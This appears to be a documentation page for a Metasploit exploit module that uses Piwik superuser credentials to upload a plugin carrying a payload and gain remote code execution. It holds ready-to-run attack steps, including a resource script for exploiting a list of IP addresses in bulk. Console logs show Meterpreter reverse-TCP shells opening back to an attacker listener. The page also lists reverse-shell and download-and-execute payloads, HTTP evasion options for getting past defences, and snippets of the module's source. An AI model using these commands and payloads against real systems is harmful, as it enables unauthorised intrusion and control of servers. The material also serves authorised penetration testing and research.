Piwik Superuser Plugin Upload - Metasploit
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Module Overview
Name: Piwik Superuser Plugin Upload
Module: exploit/unix/webapp/piwik_superuser_plugin_upload
Source code: modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb
Disclosure date: 2017-02-05
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module will generate a plugin, pack the payload into it and upload it to a server running Piwik. Superuser Credentials are required to run this module. This module does not work against Piwik 1 as there is no option to upload custom plugins. Piwik disabled custom plugin uploads in version 3.0.3. From version 3.0.3 onwards you have to enable custom plugin uploads via the config file. Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using piwik_superuser_plugin_upload against a single host
Normally, you can use exploit/unix/webapp/piwik_superuser_plugin_upload this way:
msf > use exploit/unix/webapp/piwik_superuser_plugin_upload
msf exploit(piwik_superuser_plugin_upload) > show targets
... a list of targets ...
msf exploit(piwik_superuser_plugin_upload) > set TARGET target-id
msf exploit(piwik_superuser_plugin_upload) > show options
... show and set options ...
msf exploit(piwik_superuser_plugin_upload) > exploit
Using piwik_superuser_plugin_upload against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your piwik_superuser_plugin_upload will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/webapp/piwik_superuser_plugin_upload")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: The Piwik username to authenticate with
PASSWORD: The Piwik password to authenticate with
Knowledge Base
Vulnerable Application
Piwik can be downloaded from the official site piwik.org. Older builds are also available from builds.piwik.org.
This module was tested with Piwik versions 2.14.0, 2.16.0, 2.17.1 and 3.0.1
Piwik disabled custom plugin uploads in version 3.0.3. From version 3.0.3 onwards you have to enable custom plugin uploads via the config file.
Verification Steps
Install Piwik (Debian/Ubuntu)
Install dependencies
sudo apt install apache2 php5 php5-mysql \ libapache2-mod-php5 mariadb-server unzip php5-gd php5-curlDownload latest version of piwik (or the version of your choice from builds.piwik.org)
wget https://builds.piwik.org/piwik.zipUnzip Piwik into webroot
unzip -d /var/www/html/ piwik.zipMake the webserver user the owner of piwik
chown -R www-data:www-data /var/www/html/Create a new user and database for piwik. If you want to run multiple versions in parallel use a different database for each install (user is optional). This example assumes your MySQL root password is password
mysql -u root -ppassword -e "CREATE DATABASE piwik;" mysql -u root -ppassword -e "CREATE USER piwik@localhost;" mysql -u root -ppassword -e "SET PASSWORD FOR piwik@localhost=PASSWORD('piwik');" mysql -u root -ppassword -e "GRANT ALL PRIVILEGES ON piwik.* TO piwik@localhost;" mysql -u root -ppassword -e "FLUSH PRIVILEGES;"Add a config setting to PHP to stop piwik complaining about it
echo always_populate_raw_post_data=-1 > /etc/php5/apache2/conf.d/99-piwik.iniFinally restart Apache HTTPD
service apache2 restart
Pwn Piwik
- Install the application (see installation steps above)
- Start msfconsole
- Do:
use [module path] - Do:
set RHOST [Domain/IP] - Do:
set RPORT [Port] - Do:
set TARGETURI [installation directory] - Do:
set SSL [True/False] - Do:
set USERNAME [valid Piwik superuser credentials] - Do:
set PASSWORD [valid Piwik superuser credentials] - Do:
run - You should get a shell.
Options
TARGETURI
Path of the Piwik installation.
USERNAME
Valid username for a Piwik superuser account.
PASSWORD
Valid password for a Piwik superuser account.
Scenarios
Run with a installation of Piwik 3.0.1
msf > use exploit/unix/webapp/piwik_superuser_plugin_upload
msf exploit(piwik_superuser_plugin_upload) > set TARGETURI /piwik/
TARGETURI => /piwik/
msf exploit(piwik_superuser_plugin_upload) > set RHOST 192.168.56.2
RHOST => 192.168.56.2
msf exploit(piwik_superuser_plugin_upload) > set username firefart
username => firefart
msf exploit(piwik_superuser_plugin_upload) > set password firefart
password => firefart
msf exploit(piwik_superuser_plugin_upload) > options
Module options (exploit/unix/webapp/piwik_superuser_plugin_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD firefart yes The Piwik password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.56.2 yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /piwik/ yes The URI path of the Piwik installation
USERNAME firefart yes The Piwik username to authenticate with
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Piwik
msf exploit(piwik_superuser_plugin_upload) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Trying to detect if target is running a supported version of piwik
[+] Detected Piwik installation
[*] Authenticating with Piwik using firefart:firefart...
[+] Authenticated with Piwik
[*] Checking if user firefart has superuser access
[+] User firefart has superuser access
[*] Trying to get Piwik version
[+] Detected Piwik version 3.0.1
[*] Checking if Marketplace plugin is active
[+] Seems like the Marketplace plugin is already enabled
[*] Generating plugin
[+] Plugin SDsiXxPMgt generated
[*] Uploading plugin
[*] Activating plugin and triggering payload
[*] Sending stage (33986 bytes) to 192.168.56.2
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.2:43169) at 2017-02-13 23:03:29 +0100
[+] Deleted plugins/SDsiXxPMgt/plugin.json
[+] Deleted plugins/SDsiXxPMgt/SDsiXxPMgt.php
meterpreter > sysinfo
Computer : web
OS : Linux web 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1 (2016-12-30) x86_64
Meterpreter : php/linux
Run against Piwik 2.x
msf exploit(piwik_superuser_plugin_upload) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Trying to detect if target is running a supported version of piwik
[+] Detected Piwik installation
[*] Authenticating with Piwik using firefart:firefart...
[+] Authenticated with Piwik
[*] Checking if user firefart has superuser access
[+] User firefart has superuser access
[*] Trying to get Piwik version
[+] Detected Piwik version 2.14.0
[*] Generating plugin
[+] Plugin zZETuwYkzB generated
[*] Uploading plugin
[*] Activating plugin and triggering payload
[*] Sending stage (33986 bytes) to 192.168.56.2
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.2:43182) at 2017-02-13 23:05:27 +0100
[+] Deleted plugins/zZETuwYkzB/plugin.json
[+] Deleted plugins/zZETuwYkzB/zZETuwYkzB.php
Sample output of running with invalid credentials
msf exploit(piwik_superuser_plugin_upload) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Trying to detect if target is running a supported version of piwik
[+] Detected Piwik installation
[*] Authenticating with Piwik using firefart:test...
[-] Exploit aborted due to failure: no-access: Failed to authenticate with Piwik
[*] Exploit completed, but no session was created.
Sample output of running with non superuser user
msf exploit(piwik_superuser_plugin_upload) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Trying to detect if target is running a supported version of piwik
[+] Detected Piwik installation
[*] Authenticating with Piwik using test:firefart...
[+] Authenticated with Piwik
[*] Checking if user test has superuser access
[-] Exploit aborted due to failure: no-access: Looks like user test has no superuser access
[*] Exploit completed, but no session was created.
Sample output of Piwik 3.x with disabled Marketplace plugin
msf exploit(piwik_superuser_plugin_upload) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Trying to detect if target is running a supported version of piwik
[+] Detected Piwik installation
[*] Authenticating with Piwik using firefart:firefart...
[+] Authenticated with Piwik
[*] Checking if user firefart has superuser access
[+] User firefart has superuser access
[*] Trying to get Piwik version
[+] Detected Piwik version 3.0.1
[*] Checking if Marketplace plugin is active
[*] Marketplace plugin is not enabled, trying to enable it
[+] Marketplace plugin enabled
[*] Generating plugin
[+] Plugin TuwgJygjEu generated
[*] Uploading plugin
[*] Activating plugin and triggering payload
[*] Sending stage (33986 bytes) to 192.168.56.2
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.2:43246) at 2017-02-13 23:08:36 +0100
[+] Deleted plugins/TuwgJygjEu/plugin.json
[+] Deleted plugins/TuwgJygjEu/TuwgJygjEu.php
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Msfconsole Usage
Here is how the unix/webapp/piwik_superuser_plugin_upload exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/piwik_superuser_plugin_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/piwik_superuser_plugin_upload) > show info
Name: Piwik Superuser Plugin Upload
Module: exploit/unix/webapp/piwik_superuser_plugin_upload
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-02-05
Provided by:
FireFart
Available targets:
Id Name
-- ----
0 Piwik
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The Piwik password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path of the Piwik installation
USERNAME yes The Piwik username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Description:
This module will generate a plugin, pack the payload into it and
upload it to a server running Piwik. Superuser Credentials are
required to run this module. This module does not work against Piwik
1 as there is no option to upload custom plugins. Piwik disabled
custom plugin uploads in version 3.0.3. From version 3.0.3 onwards
you have to enable custom plugin uploads via the config file. Tested
with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1.
References:
https://firefart.at/post/turning_piwik_superuser_creds_into_rce/
https://piwik.org/faq/plugins/faq_21/
https://piwik.org/changelog/piwik-3-0-3/
Module Options
This is a complete list of options available in the unix/webapp/piwik_superuser_plugin_upload exploit:
msf6 exploit(unix/webapp/piwik_superuser_plugin_upload) > show options
Module options (exploit/unix/webapp/piwik_superuser_plugin_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The Piwik password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path of the Piwik installation
USERNAME yes The Piwik username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Piwik
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/piwik_superuser_plugin_upload exploit:
msf6 exploit(unix/webapp/piwik_superuser_plugin_upload) > show advanced
Module advanced options (exploit/unix/webapp/piwik_superuser_plugin_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/piwik_superuser_plugin_upload module can exploit:
msf6 exploit(unix/webapp/piwik_superuser_plugin_upload) > show targets
Exploit targets:
Id Name
-- ----
0 Piwik
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/piwik_superuser_plugin_upload exploit:
msf6 exploit(unix/webapp/piwik_superuser_plugin_upload) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/piwik_superuser_plugin_upload exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/piwik_superuser_plugin_upload) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Error Messages
- The target does not appear to be running a supported version of Piwik
- Can not extract login CSRF token
- Failed to authenticate with Piwik
- Looks like user <USERNAME> has no superuser access
- Unable to detect Piwik version. Trying to continue.
- Piwik version 1 is not supported by this module
- Can not check for Marketplace plugin
- Marketplace plugin is not enabled, trying to enable it
- Can not extract Marketplace activate CSRF token
- Can not enable Marketplace plugin. Please try to manually enable it.
- Custom plugin uploads are disabled
- Can not extract upload CSRF token
- Can not extract activate CSRF token
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The target does not appear to be running a supported version of Piwik
Here is a relevant code snippet related to the "The target does not appear to be running a supported version of Piwik" error message:
155: 'uri' => normalized_index
156: })
157: if res && res.code == 200 && res.body =~ /<meta name="generator" content="Piwik/
158: print_good('Detected Piwik installation')
159: else
160: fail_with(Failure::NotFound, 'The target does not appear to be running a supported version of Piwik')
161: end
162:
163: print_status("Authenticating with Piwik using #{username}:#{password}...")
164: res = send_request_cgi({
165: 'method' => 'GET',
Can not extract login CSRF token
Here is a relevant code snippet related to the "Can not extract login CSRF token" error message:
175: match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(\w+)"\/>/)
176: if match
177: login_nonce = match[1]
178: end
179: end
180: fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil?
181:
182: cookies = res.get_cookies
183:
184: res = send_request_cgi({
185: 'method' => 'POST',
Failed to authenticate with Piwik
Here is a relevant code snippet related to the "Failed to authenticate with Piwik" error message:
199: if res && res.redirect? && res.redirection
200: # update cookies
201: cookies = res.get_cookies
202: else
203: # failed login responds with code 200 and renders the login form
204: fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik')
205: end
206: print_good('Authenticated with Piwik')
207:
208: print_status("Checking if user #{username} has superuser access")
209: superuser = is_superuser?(cookies)
Looks like user <USERNAME> has no superuser access
Here is a relevant code snippet related to the "Looks like user <USERNAME> has no superuser access" error message:
208: print_status("Checking if user #{username} has superuser access")
209: superuser = is_superuser?(cookies)
210: if superuser
211: print_good("User #{username} has superuser access")
212: else
213: fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access")
214: end
215:
216: print_status('Trying to get Piwik version')
217: piwik_version = get_piwik_version(cookies)
218: if piwik_version.nil?
Unable to detect Piwik version. Trying to continue.
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214: end
215:
216: print_status('Trying to get Piwik version')
217: piwik_version = get_piwik_version(cookies)
218: if piwik_version.nil?
219: print_warning('Unable to detect Piwik version. Trying to continue.')
220: else
221: print_good("Detected Piwik version #{piwik_version}")
222: end
223:
224: if piwik_version == '1.x'
Piwik version 1 is not supported by this module
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220: else
221: print_good("Detected Piwik version #{piwik_version}")
222: end
223:
224: if piwik_version == '1.x'
225: fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module')
226: end
227:
228: # Only versions after 3 have a seperate Marketplace plugin
229: if piwik_version && Rex::Version.new(piwik_version) >= Rex::Version.new('3')
230: marketplace_available = true
Can not check for Marketplace plugin
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241: 'vars_get' => {
242: 'module' => 'Marketplace',
243: 'action' => 'index'
244: }
245: })
246: fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res
247: if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/
248: print_status('Marketplace plugin is not enabled, trying to enable it')
249:
250: res = send_request_cgi({
251: 'method' => 'GET',
Marketplace plugin is not enabled, trying to enable it
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243: 'action' => 'index'
244: }
245: })
246: fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res
247: if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/
248: print_status('Marketplace plugin is not enabled, trying to enable it')
249:
250: res = send_request_cgi({
251: 'method' => 'GET',
252: 'uri' => normalized_index,
253: 'cookie' => cookies,
Can not extract Marketplace activate CSRF token
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261: match = res.body.match(/<a href=['"]index\.php\?module=CorePluginsAdmin&action=activate&pluginName=Marketplace&nonce=(\w+).*['"]>/)
262: if match
263: mp_activate_nonce = match[1]
264: end
265: end
266: fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce
267: res = send_request_cgi({
268: 'method' => 'GET',
269: 'uri' => normalized_index,
270: 'cookie' => cookies,
271: 'vars_get' => {
Can not enable Marketplace plugin. Please try to manually enable it.
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276: }
277: })
278: if res && res.redirect?
279: print_good('Marketplace plugin enabled')
280: else
281: fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.')
282: end
283: else
284: print_good('Seems like the Marketplace plugin is already enabled')
285: end
286: end
Custom plugin uploads are disabled
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316: end
317:
318: upload_nonce = nil
319: if res && res.code == 200
320: if res.body =~ /Plugin upload is disabled in config file/
321: fail_with(Failure::NotVulnerable, 'Custom plugin uploads are disabled')
322: end
323:
324: match = res.body.match(/<form.+id="uploadPluginForm".+nonce=(\w+)/m)
325: if match
326: upload_nonce = match[1]
Can not extract upload CSRF token
Here is a relevant code snippet related to the "Can not extract upload CSRF token" error message:
324: match = res.body.match(/<form.+id="uploadPluginForm".+nonce=(\w+)/m)
325: if match
326: upload_nonce = match[1]
327: end
328: end
329: fail_with(Failure::UnexpectedReply, 'Can not extract upload CSRF token') if upload_nonce.nil?
330:
331: # plugin files to delete after getting our session
332: register_files_for_cleanup("plugins/#{plugin_name}/plugin.json")
333: register_files_for_cleanup("plugins/#{plugin_name}/#{plugin_name}.php")
334:
Can not extract activate CSRF token
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351: match = res.body.match(/<a.*href="index.php\?module=CorePluginsAdmin&action=activate.+nonce=([^&]+)/)
352: if match
353: activate_nonce = match[1]
354: end
355: end
356: fail_with(Failure::UnexpectedReply, 'Can not extract activate CSRF token') if activate_nonce.nil?
357:
358: print_status('Activating plugin and triggering payload')
359: send_request_cgi({
360: 'method' => 'GET',
361: 'uri' => normalized_index,
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Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #8194 Merged Pull Request: update piwik module
- #7917 Merged Pull Request: add piwik superuser plugin upload module
References
- CVE: Not available
- https://firefart.at/post/turning_piwik_superuser_creds_into_rce/
- https://piwik.org/faq/plugins/faq_21/
- https://piwik.org/changelog/piwik-3-0-3/
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/squirrelmail_pgp_plugin
- exploit/unix/http/twiki_debug_plugins
- exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce
- exploit/multi/browser/firefox_svg_plugin
- exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce
- exploit/multi/http/jira_plugin_upload
- exploit/multi/http/processmaker_plugin_upload
- exploit/multi/http/traq_plugin_exec
- exploit/multi/http/wp_plugin_backup_guard_rce
- exploit/multi/http/wp_plugin_elementor_auth_upload_rce
- exploit/multi/http/wp_plugin_modern_events_calendar_rce
- exploit/multi/http/wp_plugin_sp_project_document_rce
- exploit/windows/browser/foxit_reader_plugin_url_bof
- exploit/windows/local/dnsadmin_serverlevelplugindll
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/scanner/http/grafana_plugin_traversal
- auxiliary/scanner/http/joomla_plugins
Authors
- FireFart
Version
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